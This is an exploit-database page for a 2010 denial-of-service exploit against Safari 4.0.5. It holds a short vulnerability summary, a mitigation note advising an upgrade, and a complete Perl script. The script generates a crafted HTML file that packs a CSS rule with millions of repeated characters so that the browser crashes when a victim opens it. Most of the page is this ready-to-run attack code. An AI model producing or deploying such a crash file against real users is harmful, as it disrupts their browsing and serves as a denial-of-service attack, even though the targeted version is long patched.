header-logo
Suggest Exploit
vendor:
Safari
by:
Xss mAn
7,5
CVSS
HIGH
Denial of Service
20
CWE
Product Name: Safari
Affected Version From: Safari 4.0.5 (531.22.7)
Affected Version To: Safari 4.0.5 (531.22.7)
Patch Exists: YES
Related CWE: N/A
CPE: apple:safari
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7
2010

Safari 4.0.5 (531.22.7) Denial of Service

Sending a specially crafted HTML file to the victim can cause Safari 4.0.5 (531.22.7) to crash.

Mitigation:

Upgrade to the latest version of Safari.
Source

Exploit-DB raw data:

#!/usr/bin/perl
# Safari 4.0.5 (531.22.7) Denial of Service
# Exploit Title: [Safari 4.0.5 (531.22.7) Denial of Service]
# Date: [2010-04-26]
# Author: [Xss mAn]
# Software Link: [http://www.apple.com/safari/download/]
# Version: [Safari 4.0.5 (531.22.7)]
# Tested on: [windows 7]
#Gr33t [2] : T-T34M
$headr1="<HTML>\n<style type=\"text\/css\"\>\n";
$headr2="\nbody {alink: "."A/" x 13333337 ."}\n";
$headr3="</style>\n</HTML>";
open(file ,'>>Crash.html');
print file $headr1.$headr2.$headr3;
close(file);
#perl 4 M3N ;)

Navigation

Suggest Exploit

Services By CQR